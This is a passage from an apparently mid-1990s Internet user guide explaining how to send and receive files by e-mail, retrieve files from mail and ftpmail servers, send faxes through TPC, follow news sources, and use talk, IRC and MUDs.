+you want to attach a file. MIME is essentially the Internet equivalent. +The one caveat is that your recipient also has to have a MIME-enabled +mail program; otherwise you could run into problems (and in that case, +you'll have to fall back on uuencode). + +Probably the best way to use MIME on a Unix public-access site is with +Pine -- it makes it very easy. Let's say you've just uploaded a graphics +file that you want to mail to a friend. Call up Pine and start a message +to your friend. With the cursor still in the header area (i.e., the area +where you put in his e-mail address), hit control-J. You'll be asked for +the name of the file you want to attach. Type in its name (or path if you +put it somewhere besides your home directory) and that's it! You can now +compose a message to your friend and then send it off as you would +normally (only now it will come with an attached file). + +Assuming your recipient also uses Pine, when he gets your message, one of +his options will be to hit control-V. If he hits that, he'll be asked if +he wants to view or save the attached file. Assuming it's a binary file, +he should hit his s key and then type in the name of the file under which +to save the attachment. When he exits Pine, he can then download the file +-- without the muss of first uudecoding it. + +A number of companies now sell software that lets users of proprietary e- +mail systems send and receive MIME attachments. So if you plan on +exchaning binary files with somebody on one of these systems (our friend, +the cc:Mail user, for example) -- ask if her system can accept MIME +attachments. It will make life a lot easier for both of you. + + +10.2 RECEIVING FILES + + +If somebody sends you a uuencoded file through the mail, you'll have to +go through a couple of steps to get it into a form you can actually use. +If you are using the simple mail program, go into mail and type + + w # file.name + +where # is the number of the message you want to transfer and file.name +is what you want to call the resulting file. In pine, call up the +message and hit your O key and then E. You'll then be asked for a file +name. In elm, call up the message and hit your S key. You'll get +something that looks like this: + + =file.request + +Type a new file name and hit enter (if you hit enter without typing a +file name, the message will be saved to another mail folder, not your +home directory). + +In all three cases, exit the mail program to return to your host system's +command line. Because the file has been encoded for mail delivery, you +now have to run a decoder. At the command line, type + + uudecode file.name + +where file.name is the file you created while in mail. Uudecode will +create a new, uncompressed binary file. In some cases, you may have to +run it through some other programs (for example, if it is in "tar" form), +but generally it should now be ready for you to download to your own +computer (on which you might then have to run a de-compressor program +such as PKUNZIP). + +Now if somebody sends you a MIME attachment, retrieving the attachment is +simple. In both pine and elm, you'll be asked if you want to save the +attachment to a file. If you answer by hitting your y key, you'll be +asked for a file name to save it under (or just hit enter to save it +under the default name suggested by the computer). You can now retrieve +the file by exiting mail and then using the techniques listed in Chapter +4 for downloading Usenet files. + +All this brings up a related issue. Say somebody sends you a plain old +e-mail message that you want to transfer to your own computer (as +opposed to an encoded file). Assuming you're connected to a Unix public- +access site, and that the message is straight ASCII, you have a couple of +options. + +The quick and dirty way is to start your computer's screen-capture or +logging function before you open the message. Then call up the message +and, when done, stop the logging, and the file's saved to your computer. + +That method's good if you only want to transfer one message. But what if +you want to save several messages to a single file (a bunch of items from +a mailing list, say)? Then you might want to save them to a file on your +public-access site first and then download that. + +If you use the Pine mail program, open up the message and then hit your e +key. You'll be asked to enter a file name in your home directory. Once +done, go to the next message and repeat the process. When finished, +you'll have a single large file in your home directory for downloading. +Note that when you do this, Pine will mark the message for deletion, so +if you want to keep it in your mailbox (to reply, perhaps), answer N when +you exit pine and are asked if you want to delete the marked files. + +If you use elm, instead, hit your s key, either within the message or +with the cursor on its entry in the message menu. You'll get something +that looks like this: + + =jdoe + +which comes from the e-mail address of the sender. If you hit enter, +you'll save the message to a file called jdoe in your Mail directory. If +you want to save it to a differently named file in your home directory, +hit your backspace key once and then type in the file name you want (but +without the equal sign). As in pine, the messages will be marked for +deletion, so keep that in mind if you want to retain them in your +mailbox. + +In either case, you can now download the file, again using the comands +discussed in Chapter 4 for retrieving similarly collected Usenet +messages. + + +10.3 SENDING FILES TO NON-INTERNET SITES + + +What if your friend only connects with a non-Unix system, such as +CompuServe or MCIMail? There are programs available for MS-DOS, Apple +and Amiga computers that will encode and decode files. Of course, since +you can't send one of these programs to your friend via e-mail (how would +she un-encode it?), you'll have to mail (the old-fashioned way) or give +her a diskette with the program on it first. Then, she can get the file +by e-mail and go through the above process (only on her own computer) to +get a usable file. Remember to give her an encoder program as well, if +she wants to send you files in return. + +For MS-DOS machines, you'll want to get uunecode.com and uudecode.com. +Both can be found through anonymous ftp at wuarchive.wustl.edu in the +/mirrors/msdos/starter directory. The MS-DOS version is as easy to use as +the Unix one: Just type + + uudecode filename.ext + +and hit enter. + +Mac users should get a program called uutool, which can be found in the +info-mac/util directory on sumex-aim.stanford.edu. + +Think twice before sending somebody a giant file. Although large sites +connected directly to the Internet can probably handle mega-files, many +smaller systems cannot. Some commercial systems, such as CompuServe and +MCIMail, limit the size of mail messages their users can receive. +Fidonet doesn't even allow encoded messages. In general, a file size of +30,000 or so bytes is a safe upper limit for non-Internet systems. + + +10.4 GETTING FTP FILES VIA E-MAIL + +To help people without ftp access, a number of ftp sites have set up mail +servers (also known as archive servers) that allow you to get files via +e-mail. You send a request to one of these machines and they send back +the file you want. As with ftp, you'll be able to find everything from +historical documents to software (but please note that if you do have +access to ftp, that method is always quicker and ties up fewer resources +than using e-mail). + +Some interesting or useful mail servers include: + + mail-server@rtfm.mit.edu Files of "frequently asked questions" +related to Usenet; state-by-state lists of U.S. representatives and +Senators and their addresses and office phone numbers. + archive-server@cs.widener.edu Back copies of the Computer +Underground Digest and every possible fact you could want to know about +"The Simpsons." + netlib@uunet.uu.net Programs for many types of personal computers; +archives of past postings from many Usenet newsgroups. + archive-server@ames.arc.nasa.gov Space-related text and graphics +(GIF-format) files. + service@nic.ddn.mil Detailed information about Internet. + +Most mail servers work pretty much the same -- you send an e-mail message +that tells them what file you want and how you want it sent to you. The +most important command is "send," which tells the computer you want it to +send you a particular file. + +First, though, you'll need to know where the mail server stores that +file, because you have to tell it which directory or sub-directory it's +in. There are a couple of ways to do this. You can send an e-mail +message to the archive-server that consists of one line: + + index + +The server will then send you a directory listing of its main, or root +directory. You'll then have to send a second message to the archive +server with one line: + + index directory/subdirectory + +where directory/subdirectory is the directory path for which you want a +listing. An alternative is to send an e-mail message to our old friend +archie, which should send you back the file's exact location on the +archive-server (along with similar listings for all the other sites that +may have the file, however) + +Once you have the file name and its directory path, compose a message to +the archive server like this: + + send directory/subdirectory/file + +Send off the message and, anywhere from a few minutes to a couple of days +later, you'll find a new message in your mailbox: a copy of the file you +requested. The exact time it will take a file to get to you depends on a +variety of factors, including how many requests are in line before yours +(mail servers can only process so many requests at a time) and the state +of the connections between the server and you. + +Seems simple enough. It gets a little more complicated when you request a +program rather than a document. Programs or other files that contain +unusual characters or lines longer than 130 characters (graphics files, +for example) require special processing by the mail server to ensure they +are transmitted via e-mail. Then you'll have to run them through at +least one converter program to put them in a form you can actually use. +To ensure that a program or other "non-mailable" file actually gets to +you, include another line in your e-mail message to the server: + + encoder + +This converts the file into an encoded form. To decode it, you'll first +have to transfer the file message into a file in your home directory. + +One further complication comes when you request a particularly long file. +Many Net sites can only handle so much mail at a time. To make sure you +get the entire file, tell the mail server to break it up into smaller +pieces, with another line in your e-mail request like this: + + size 100000 + +This gives the mail server the maximum size, in bytes, of each file +segment. This particular size is good for UUCP sites. Internet and +Bitnet sites can generally go up to 300000. When you get all of these +files in mail, transfer them to your home directory. Exit mail and call +up each file in your host system's text processor and delete each one's +entire header and footer (or "signature" at the end). When done with +this, at your host system's command line, type + + cat file1 file2 > bigfile + +where file1 is the first file, file2 the second file, and so on. The > +tells your host system to combine them into a new megafile called bigfile +(or whatever you want to call it). After you save the file to your home +directory (see section 10.2 above), you can then run uudecode, tar, etc. +One word of caution, though: if the file you want is long enough that it +has to be broken into pieces, think of how much time it's going to take +you to download the whole thing -- especially if you're using a 2400-baud +modem! + +There are a number of other mail servers. To get a list, send an e-mail +message to mail-server@rtfm.mit.edu: + +send usenet/comp.sources.wanted/How_to_find_sources_(READ_THIS_BEFORE_POSTING) + +You'll have to spell it exactly as listed above. Some mail servers use +different software, which will require slightly different commands than +the ones listed here. In general, if you send a message to a mail server +that says only + + help + +you should get back a file detailing all of its commands. + +But what if the file you want is not on one of these mail servers? +That's where ftpmail comes in. Run by Digital Equipment Corp. in +California, this service can connect to almost any ftp site in the world, +get the file you want and then mail it to you. Using it is fairly simple +-- you send an e-mail message to ftpmail that includes a series of +commands telling the system where to find the file you want and how to +format it to mail to you. + +Compose an e-mail message to + + ftpmail@decwrl.dec.com + +Leave the "subject:" line blank. Inside the message, there are several +commands you can give. The first line should be + + reply address + +where "address" is your e-mail address. The next line should be + + connect host + +where "host" is the system that has the file you want (for example: +wuarchive.wustl.edu). Other commands you should consider using are +"binary" (required for program files); "compress" (reduces the file +size for quicker transmission) and "uuencode" (which encodes the file +so you can do something with it when it arrives). The last line of +your message should be the word "quit". + +Let's say you want a copy of the U.S. constitution. Using archie, you've +found a file called, surprise, constitution, at the ftp site +archive.cis.ohio-state.edu, in the /pub/firearms/politics/rkba directory. +You'd send a message to ftpmail@decwrl.dec.com that looks like this: + + reply adamg@world.std.com + connect archive.cis.ohio-state.edu + binary + compress + uuencode + get pub/firearms/politics/rkba/constitution + quit + +When you get the file in your mailbox, use the above procedure for +copying it to a file. Run it through uudecode. Then type + + uncompress file.name + +to make it usable. + +Since this was a text file, you could have changed the "binary" to +"ascii" and then eliminated the "uuencode" file. For programs, though, +you'll want to keep these lines. One caveat with ftpmail: it has become +such a popular service that it could take a week or more for your +requested files to arrive. + + +10.5 MINING FOR INFO ON USENET VIA E-MAIL + + +Grizzled Usenet veterans (you can always tell them by the coffee-stained +leather jackets they wear) proudly recall the days when they could read +every single article posted on the network each day and still find time +to do some work. + +But now, with the number of newsgroups approaching 10,000, that, of +course, is impossible. That causes a potential problem, though. What if +there's a discussion going on somewhere you might be interested in? +Sure, Usenet is divided into hierarchies and newsgroups with the goal of +helping people find discussions on specific topics, but given the number +of people who now post each day, even that might mean you'll miss +something. And if you go on vacation and you come back to 2,000 new +articles in your favorite group, the temptation is awfully high to just +mark them all as read rather than trying to dig through them for +useful/interesting messages. + +Meet Stanford University's Netnews Filtering Server. Somewhere at +Stanford sits a computer that creates a daily index of all Usenet +messages that pass through it. Through simple e-mail commands, you can +get this machine to filter out articles for you and then send you a daily +summary of what it finds. If the summaries of each article look +intriguing enough, you can then have the entire articles mailed to you. + +The basic commands are really simple. You tell the computer what to look +for and how frequently you want to receive its reports. Send an e-mail +message to + + netnews@db.stanford.edu. + +Leave the subject line blank, and as the message, write + + subscribe phrase or word + period 1 + +For example, + + subscribe boston bruins + period 1 + +would set the machine to searching for references to the Boston Bruins +and then report back to you every day (if you substituted "period 2," it +would report back to you every two days; you can go as high as 5). +There's an optional third command, "expire,'' which you would use to tell +the computer how many days to keep looking for you. For example, + + expire 30 + +would end the search after 30 days. + +Now let's say you do get an article you want to read more about. Each +article will have a message number. To get it, write back to +netnews@db.stanford.edu and as your message, write + + get news.group.# + +for example, + + get alt.sex.hamsters.duct-tape.4601 + +You can also search the Stanford database for existing articles. Again, +write to netnews@db.stanford.edu. As your message, write + + search word or phrase + +You'll get back a list of possibly relevant articles. + + +10.6 JUST THE FAX, MA'AM + + +Yes, the Internet is by far the world's largest computer network. But +not everybody's connected to it -- yet. Thanks to some Internet +pioneers, however, you can now extend the reach of the Net to people who +still rely on fax machines. + +In 1993, Carl Malamud, founder of the Internet Multicasting Service +(which now provides everything from a half-hour talk show broadcast over +the Internet to databases of patent and SEC information) and Marshall +Rose, a computer consultant, created a mechanism for translating Internet +e-mail messages into faxes. Today, you can reach a number of +metropolitan areas in the U.S., Canada, Denmark, Germany, Japan, Korea, +Portugal, New Zealand and the United Kingdom via their service. + +TPC depends on a series of volunteers, from individuals to large +corporations, who have agreed to provide Internet-to-fax services in a +given geographic area. Technically, TPC is an experiment at this point; +one of the issues Malamud and Rose are looking at for the long term is +how to make the system pay for itself. + +Sending a fax via TPC is as easy as sending an e-mail message, with the +exception of figuring out the e-mail address to use for a given fax, +which, to an outsider, looks awfully bizarre. + +First, you want to get a TPC coverage list to see if the person you want +to reach is in an area served by TPC. Send an e-mail message to tpc- +coverage@town.hall.org (it doesn't really matter what you say in the +message; "send info" works fine). You'll get back a list showing the +metropolitan areas now covered, as well as, in many cases, the specific +exchanges within those areas you can reach. Assuming the person you want +to reach is in one of these areas, you're ready to go. + +Now to figure out the e-mail address for a given fax number. +Take the phone number and add the particular country's international +dialing code to the front -- even if you're sending a fax to somebody in +your own country (the U.S.'s international code is 1). Do not, however, +include whatever digits you would dial just to get an international +circuit (which in the U.S. would be 011). Now remove any parentheses, +hyphens or spaces. So, for example, 1 (213) 555-1234 would become +12135551234. Add ".iddd.tpc.int" to the end of that, for example: + + 12135551234.iddd.tpc.int + +That's the part of the address to the right of the @ sign. The left half +of the address will look something like this: + + remote-printer.John_Doe/5th_floor + +This is actually a clever way to have a cover sheet printed for your fax. +All TPC addresses start with "remote-printer." The next part, as you can +see, is the name of the person you want to reach. Since you can't have +spaces in an Internet address, always separate the names with a _. A TPC +fax server interprets a / as a message to move to the next line on the +cover page. So put all this together, and you get: + + remote-printer.John_Doe/5th_floor@12135551234.iddd.tpc.int + + +Phew! But it works! Now compose your e-mail message and send it to the +address you've just created. TPC will then route it to the nearest +participating fax machine, for delivery to your recipient. Once your fax +is delivered, you'll even get a confirmation notice via e-mail. If you +have addresses you plan to write to more than once, it would make eminent +sense to put them in your Pine or Elm address book. Speaking of Pine, +you can use its ability to forward message attachments to send graphics +as part of the fax. See under FYI to see how to get information on this. + + +10.7 THE ALL KNOWING ORACLE + + +One other thing you can do through e-mail is consult with the Usenet +Oracle. You can ask the Oracle anything at all and get back an answer +(whether you'll like the answer is another question). + +First, you'll want to get instructions on how to address the Oracle (he, +or she, or it, is very particular about such things and likes being +addressed in august, solemn and particularly sycophantic tones). Start +an e-mail message to + + oracle@iuvax.cs.indiana.edu + +In the "subject:" line, type + + help + +and hit enter. You don't actually have to say anything in the message +itself -- at least not yet. Hit control-D to send off your request +for help. Within a few hours, the Oracle will mail you back detailed +instructions. It's a fairly long file, so before you start reading +it, turn on your communications software's logging function, to save +it to your computer (or save the message to a file on your host system's +home directory and then download the file). After you've digested it, +you can compose your question to the Oracle. Mail it to the above +address, only this time with a subject line that describes your +question. Expect an answer within a couple of days. And don't be +surprised if you also find a question in your mailbox -- the Oracle +extracts payment by making seekers of knowledge answer questions as +well! + + +10.8 WHEN THINGS GO WRONG + + +* You get back an error message that your fax could not be delivered. + +With TPC, that could mean one of two things. Either you tried sending a +fax to an area not covered by TPC or you made a mistake converting the +fax number into a TPC address. Double-check both the list of TPC coverage +areas and the address you created. + + +10.9 FYI + + +To get a more comprehensive guide to Stanford's Netnews Filtering Server, +which includes tips on helping the computer better refine your searches, +write netnews@db.stanford.edu. Leave the subject line blank, and as your +message, write: + + help + +TPC (which gets its name from the 1967 movie "The President's Analyst") +maintains a mailing list to discuss the project. To get on it, send your +request to tpc-rp-request@aarnet.edu.au. To get more detailed +information on TPC, send a message to tpc-faq@town.hall.org. + + + + + +Chapter 11: NEWS OF THE WORLD + + + +11.1 CLARINET: ASSOCIATED PRESS, MISS MANNERS AND DILBERT + + +Usenet "newsgroups" can be something of a misnomer. They may be +interesting, informative and educational, but they are often not news, at +least, not the way most people would think of them. But there are several +sources of news and sports on the Net. + +One of the largest is Clarinet, a company in Cupertino, Calf., that +distributes wire-service news and columns, along with a news service +devoted to computers and even the Dilbert comic strip, in Usenet form. + +Because Clarinet charges for its service, not all host systems carry its +articles. Those that do carry them as Usenet groups starting with +"clari." As with other Usenet hierarchies, these are named starting with +broad area and ending with more specific categories. Some of these +include business news (clari.biz); general national and foreign news, +politics and the like (clari.news), sports (clari.sports); columns by +Mike Royko, Miss Manners, and others (clari.feature); and NewsBytes +computer and telecommunications reports (clari.nb). Because Clarinet +started in Canada, there is a separate set of clari.canada newsgroups. +The clari.nb newsgroups are divided into specific computer types +(clari.nb.apple, for example). + +Clari newsgroups feature stories updated around the clock. There are +even a couple of "bulletin" newsgroups for breaking stories: +clari.news.bulletin and clari.news.urgent. Clarinet also sets up new +newsgroups for breaking stories that become ongoing ones (such as major +natural disasters, coups in large countries and the like). + +Occasionally, you will see stories in clari newsgroups that just +don't seem to belong there. This happens because of the way wire +services work. AP uses three-letter codes to route its stories to +the newspapers and radio stations that make up most of its clientele, and +harried editors on deadline sometimes punch in the wrong code. + + +11.2 STILL MORE NEWS ON THE NET + + +Several newspapers around the world now offer online editions on the +World-Wide Web. Typically, this includes not only copies of current news +and sports stories, but features and, increasingly, advertisements (well, +they have to pay for it somehow). + +One of the first newspapers to go online with a daily edition was the +Charlotte News and Observer in North Carolina, at http://www.nando.net. +You'll find world news, sports news (including homepages devoted to +specific teams) and features about North Carolina. + +You'd expect the San Jose Mercury News, in the heart of California's +Silicon Valley, to be online, and it is, at http://www.sjmercury.com. +Look for daily news and sports, as well as documents and features not +always found in the printed version. The Mercury News also offers a for- +fee service that will e-mail you stories and classifieds with keywords +you specify. + +The London Telegraph's Electronic Telegraph provides a similar supply +of stories, with a British slant, naturally, at +http://www.telegraph.co.uk. You'll have to register to use the service, +but it's free. + +Also online is Time magazine, at http://www.timeinc.com. In addition to +providing copies of news stories, this Web site also lets you participate +in online conferences about the news. + + +11.3 THE WORLD TODAY, FROM BELARUS TO BRAZIL + + +The Open Media Research Institute (formerly known as Radio Free Europe/Radio +Liberty) provides daily news summaries from Eastern Europe and the former +Soviet Union. The digests are available via e-mail. Write to +listserv@ubvm.cc.buffalo.edu. Leave the "subject:" line blank, and as your +message, write: + + subscribe omri-l your name + +The Voice of America, a government broadcasting service aimed at other +countries, provides transcripts of its English-language news reports +through both gopher and anonymous ftp. For the former, use gopher to +connect to this address: + + gopher.voa.gov + +and for the latter, to this address: + + ftp.voa.gov + +Daily Brazilian news updates are available (in Portuguese) from the +University of Sao Paulo. Use anonymous ftp to connect to + + uspif.if.usp.br + +Use cd to switch to the whois directory. The news summaries are stored +in files with this form: NEWS.23OCT92;1. But to get them, leave off the +semicolon and the 1, and don't capitalize anything, for example: + + get news.23oct92 + + +11.4 FYI + + +Steve Outing maintains a list of newspapers with online services and how +to connect to them. It's available on the Web at +http://marketplace.com/e-papers.list.www/e-papers.outing.html + +The clari.net.newusers newsgroup on Usenet provides a number of +articles about Clarinet and ways of finding news stories of interest +to you. + +To discuss the future of newspapers and newsrooms in the new +electronic medium, subscribe to the online-news mailing list. Send a mail +message of + + Subscribe online-news Your Name + +to majordomo@marketplace.com. + +Look in the alt.radio.networks.npr newsgroup in Usenet for +summaries of NPR news shows such as "All Things Considered." This +newsgroup is also a place to discuss the network and its shows, +personalities and policies. + +A number of media organizations now encourage readers, listeners and +viewers to communicate with them electronically, via Internet e-mail +addresses. they range from internationally known newspapers such as the +Times of London to college-owned FM stations. You can get a list of +media outlets with e-mail addresses via anonymous ftp or ncftp at +ftp.std.com, in the /periodicals/middlesex-news directory. Get +the file called medialist. + + + + + +Chapter 12: IRC, MUDs AND OTHER THINGS THAT ARE MORE FUN THAN THEY SOUND + + + +Many Net systems provide access to a series of interactive services that +let you hold live "chats" or play online games with people around the +world. To find out if your host system offers these, you can ask your +system administrator or just try them -- if nothing happens, then your +system does not provide them. In general, if you can use telnet and ftp, +chances are good you can use these services as well. + + +12.1 TALK + + +This is the Net equivalent of a telephone conversation and requires that +both you and the person you want to talk to have access to this function +and are online at the same time. To use it, type + + talk user@site.name + +where user@site.name is the e-mail address of the other person. She will +see something like this on her screen: + + talk: connection requested by yourname@site.name + talk: respond with: talk yourname@site.name + +To start the conversation, she should then type (at her host system's +command line): + + talk yourname@site.name + +where that is your e-mail address. Both of you will then get a top +and bottom window on your screen. She will see everything you type in +one window; you'll see everything she types in the other. To +disconnect, hit control-C. + +One note: Public-access sites that use Sun computers sometimes have +trouble with the talk program. If talk does not work, try typing + + otalk + +or + + ntalk + +instead. However, the party at the other end will have to have the same +program online for the connection to work. + + +12.2 INTERNET RELAY CHAT + + +IRC is a program that lets you hold live keyboard conversations with +people around the world. It's a lot like an international CB radio - it +even uses "channels." Type something on your computer and it's instantly +echoed around the world to whoever happens to be on the same channel with +you. You can join in existing public group chats or set up your own. +You can even create a private channel for yourself and as few as one or +two other people. And just like on a CB radio, you can give yourself a +unique "handle" or nickname. + +IRC currently links host systems in 20 different countries, from +Australia to Hong Kong to Israel. Unfortunately, it's like telnet -- +either your site has it or it doesn't. If your host system does have it, +Just type + + irc + +and hit enter. You'll get something like this: + + +*** Connecting to port 6667 of server world.std.com +*** Welcome to the Internet Relay Network, adamg +*** Your host is world.std.com, running version 2.7.1e+4 +*** You have new mail. +*** If you have not already done so, please read the new user information with ++/HELP NEWUSER +*** This server was created Sat Apr 18 1992 at 16:27:02 EDT +*** There are 364 users on 140 servers +*** 45 users have connection to the twilight zone +*** There are 124 channels. +*** I have 1 clients and 3 servers +MOTD - world.std.com Message of the Day - +MOTD - Be careful out there... +MOTD - +MOTD - ->Spike +* End of /MOTD command. + + + 23:13 [1] adamg [Mail: 32] * type /help for help + +---------------------------------------------------------------------- + +You are now in channel 0, the "null" channel, in which you can look up +various help files, but not much else. As you can see, IRC takes over +your entire screen. The top of the screen is where messages will appear. +The last line is where you type IRC commands and messages. All IRC +commands begin with a /. The slash tells the computer you are about to +enter a command, rather than a message. To see what channels are +available, type + + /list + +and hit enter. You'll get something like this: + + +*** Channel Users Topic +*** #Money 1 School CA$H (/msg SOS_AID help) +*** #Gone 1 ----->> Gone with the wind!!! ------>>>>> +*** #mee 1 +*** #eclipse 1 +*** #hiya 2 +*** #saigon 4 +*** #screwed 3 +*** #z 2 +*** #comix 1 LET'S TALK 'BOUT COMIX!!!!! +*** #Drama 1 +*** #RayTrace 1 Rendering to Reality and Back +*** #NeXT 1 +*** #wicca 4 Mr. Potato Head, R. I. P. +*** #dde^mhe` 1 no'ng chay? mo*? ...ba` con o*iiii +*** #jgm 1 +*** #ucd 1 +*** #Maine 2 +*** #Snuffland 1 +*** #p/g! 4 +*** #DragonSrv 1 + +Because IRC allows for a large number of channels, the list might scroll +off your screen, so you might want to turn on your computer's screen +capture to capture the entire list. Note that the channels always have +names, instead of numbers. Each line in the listing tells you the +channel name, the number of people currently in it, and whether there's a +specific topic for it. To switch to a particular channel, type + + /join #channel + +where "#channel" is the channel name and hit enter. Some "public" +channels actually require an invitation from somebody already on it. To +request an invitation, type + + /who #channel-name + +where channel-name is the name of the channel, and hit enter. Then ask +someone with an @ next to their name if you can join in. Note that +whenever you enter a channel, you have to include the #. Choose one with +a number of users, so you can see IRC in action. + +If it's a busy channel, as soon as you join it, the top of your screen +will quickly be filled with messages. Each will start with a person's +IRC nickname, followed by his message. + +It may seem awfully confusing at first. There could be two or three +conversations going on at the same time and sometimes the messages will +come in so fast you'll wonder how you can read them all. + +Eventually, though, you'll get into the rhythm of the channel and things +will begin to make more sense. You might even want to add your two cents +(in fact, don't be surprised if a message to you shows up on your screen +right away; on some channels, newcomers are welcomed immediately). To +enter a public message, simply type it on that bottom line (the computer +knows it's a message because you haven't started the line with a slash) +and hit enter. + +Public messages have a user's nickname in brackets, like this: + + + +If you receive a private message from somebody, his name will be between +asterisks, like this: + + *tomg* + + +12.3 IRC COMMANDS + + +Note: Hit enter after each command. + + +/away When you're called away to put out a grease fire + in the kitchen, issue this command to let others know + you're still connected but just away from your terminal + or computer for awhile. + + +/help Brings up a list of commands for which there is a help + file. You will get a "topic:" prompt. Type in the + subject for which you want information and hit enter. + Hit enter by itself to exit help. + +/invite Asks another IRC to join you in a conversation. + + /invite fleepo #hottub + + would send a message to fleepo asking him to join you on + the #hottub channel. The channel name is optional. + + + +/join Use this to switch to or create a particular channel, + like this: + + /join #hottub + + If one of these channels exists and is not a private + one, you will enter it. Otherwise, you have just + created it. Note you have to use a # as the first + character. + + +/list This will give you a list of all available public + channels, their topics (if any) and the number of users + currently on them. Hidden and private channels are not + shown. + +/m name Send a private message to that user. + +/mode This lets you determine who can join a channel you've + created. + + /mode #channel +s + + creates a secret channel. + + + /mode #channel +p + + makes the channel private + +/nick This lets you change the name by which others see you. + + /nick fleepo + + would change your name for the present session to + fleepo. People can still use /whois to find your e-mail + address. If you try to enter a channel where somebody + else is already using that nickname, IRC will ask you to + select another name. + +/query This sets up a private conversation between you and + another IRC user. To do this, type + + /query nickname + + Every message you type after that will go only to that + person. If she then types + + /query nickname + + where nickname is yours, then you have established a + private conversation. To exit this mode, type + + /query + + by itself. While in query mode, you and the other + person can continue to "listen" to the discussion on + whatever public channels you were on, although neither + of you will be able to respond to any of the messages + there. + +/quit Exit IRC. + +/signoff Exit IRC. + +/summon Asks somebody connected to a host system with IRC to + join you on IRC. You must use the person's entire e-mail + address. + + /summon fleepo@foo.bar.com + + would send a message to fleepo asking him to start IRC. + Usually not a good idea to just summon people unless you + know they're already amenable to the idea; otherwise you + may wind up annoying them no end. This command does not + work on all sites. + +/topic When you've started a new channel, use this command to let + others know what it's about. + + /topic #Amiga + + would tell people who use /list that your channel is meant + for discussing Amiga computers. + +/who Shows you the e-mail address of people on a particular + channel. + + /who #foo + + would show you the addresses of everybody on channel foo. + + /who + + by itself shows you every e-mail address for every person + on IRC at the time, although be careful: on a busy night + you might get a list of 500 names! + +/whois Use this to get some information about a specific IRC + user or to see who is online. + + /whois nickname + + will give you the e-mail address for the person using + that nickname. + + /whois * + + will list everybody on every channel. + +/whowas Similar to /whois; gives information for people who + recently signed off IRC. + + +12.4 IRC IN TIMES OF CRISIS + + +IRC has become a new medium for staying on top of really big breaking +news. In 1993, when Russian lawmakers barricaded themselves inside the +parliament building, some enterprising Muscovites and a couple of +Americans set up a "news channel" on IRC to relay first-person accounts +direct from Moscow. The channel was set up to provide a continuous loop +of information, much like all-news radio stations that cycle through the +day's news every 20 minutes. In 1994, Los Angeles residents set up a +similar channel to relay information related to the Northridge +earthquake. In both cases, logs of the channels were archived somewhere +on the Net, for those unable to "tune in" live. + +How would you find such channels in the future? Use the /list command to +scroll through the available channels. If one has been set up to discuss +a particular breaking event, chances are you'll see a brief description +next to the channel name that will tell you that's the place to tune. + + +12.5 MUDs + + +Multiple-User Dimensions or Dungeons (MUDs) take IRC into the realm of +fantasy. MUDs are live, role-playing games in which you enter assume a +new identity and enter an alternate reality through your keyboard. As +you explore this other world, through a series of simple commands (such +as "look," "go" and "take"), you'll run across other users, who may +engage you in a friendly discussion, enlist your aid in some quest or try +to kill you for no apparent reason. + +Each MUD has its own personality and creator (or God) who was willing to +put in the long hours required to establish the particular MUD's rules, +laws of nature and information databases. Some MUDs stress the social +aspects of online communications -- users frequently gather online to +chat and join together to build new structures or even entire realms. +Others are closer to "Dungeons and Dragons" and are filled with +sorcerers, dragons and evil people out to keep you from completing your +quest -- through murder if necessary. + +Many MUDs (there are also related games known as MUCKs and MUSEs) require +you to apply in advance, through e-mail, for a character name and +password. One that lets you look around first, though, is HoloMuck at +McGill University in Montreal. The premise of this game is that you +arrive in the middle of Tanstaafl, a city on the planet Holo. You have +to find a place to live (else you get thrown into the homeless shelter) +and then you can begin exploring. Magic is allowed on this world, but +only outside the city limits. Get bored with the city and you can roam +the rest of the world or even take a trip into orbit (of course, all this +takes money; you can either wait for your weekly salary or take a trip to +the city casino). Once you become familiar with the city and get your +own character, you can even begin erecting your own building (or subway +line, or almost anything else). + +To connect, telnet to + + collatz.mcrcim.mcgill.edu 5757 + +When you connect, type + + connect guest guest + +and hit enter. This connects you to the "guest" account, which has a +password of "guest." You'll see this: + +The Homeless Shelter(#22Rna) +You wake up in the town's Homeless Shelter, where vagrants are put for +protective holding. Please don't sleep in public places-- there are plenty of +open apartments available. Type 'apartments' to see how to get to an +apartment building with open vacancies. +There is a small sign on the wall here, with helpful information. Type 'look +sign' to read it. +The door is standing open for your return to respectable society. Simply walk +'out' to the center. + Of course, you want to join respectable society, but first you +want to see what that sign says. So you type + + look sign + +and hit enter, which brings up a list of some basic commands. Then +you type + + out + +followed by enter, which brings up this: + +You slip out the door, and head southeast... +Tanstaafl Center +This is the center of the beautiful town of Tanstaafl. High Street runs north +and south into residential areas, while Main Street runs east and west into +business districts. +SW: is Tanstaafl Towers. Please claim an apartment... no sleeping in public! +SE: the Public Library offers both information and entertainment. +NW: is the Homeless Shelter, formerly the Town Jail. +NE: is Town Hall, site of several important services, including: Public +Message Board, Bureau of Land Management (with maps and regulations), and +other governmental/ bureaucratic help. +Down: Below a sign marked with both red and blue large letter 'U's, a +staircase leads into an underground subway passage. +(Feel free to 'look' in any direction for more information.) +[Obvious exits: launch, d, nw, se, w, e, n, s, ne, sw] +Contents: +Instructions for newcomers +Directional signpost +Founders' statue + +To see "Instructions for newcomers", type + + look Instructions for newcomers + +and hit enter. You could do the same for "Directional signpost" and +"Founders' statue." Then type + + SW + +and enter to get to Tanstaafl Towers, the city housing complex, where +you have to claim an apartment (you may have to look around; many will +already) be occupied. And now it's off to explore Holo! One command +you'll want to keep in mind is "take." Periodically, you'll come +across items that, when you take them will confer certain abilities or +powers on you. If you type + + help + +and enter, you'll get a list of files you can read to learn more about +the MUD's commands. + +The "say" command lets you talk to other players publicly. For example, + + say Hey, I'm here! + +would be broadcast to everybody else in the room with you. If you +want to talk to just one particular person, use "whisper" instead of +"say." + + whisper agora=Hey, I'm here! + +would be heard only by agora. Another way to communicate with somebody +regardless of where on the world they are is through your pager. If you +suddenly see yours go off while visiting, chances are it's a wizard +checking to see if you need any help. To read his message, type + + page + +To send him a message, type + + page name=message + +where name is the wizard's name (it'll be in the original message). + +Other MUDs and MUCKs may have different commands, but generally use the +same basic idea of letting you navigate through relatively simple English +commands. + +When you connect to a MUD, choose your password as carefully as you would +one for your host system; alas, there are MUD crackers who enjoy trying +to break into other people's MUD accounts. And never, never use the same +password as the one you use on your host system! + +MUDs can prove highly addicting. "The jury is still out on whether +MUDding is 'just a game' or 'an extension of real life with gamelike +qualities'," says Jennifer Smith, an active MUD player who wrote an FAQ +on the subject. + +She adds one caution: "You shouldn't do anything that you wouldn't do in +real life, even if the world is a fantasy world. The important thing to +remember is that it's the fantasy world of possibly hundreds of people, +and not just yours in particular. There's a human being on the other +side of each and every wire! 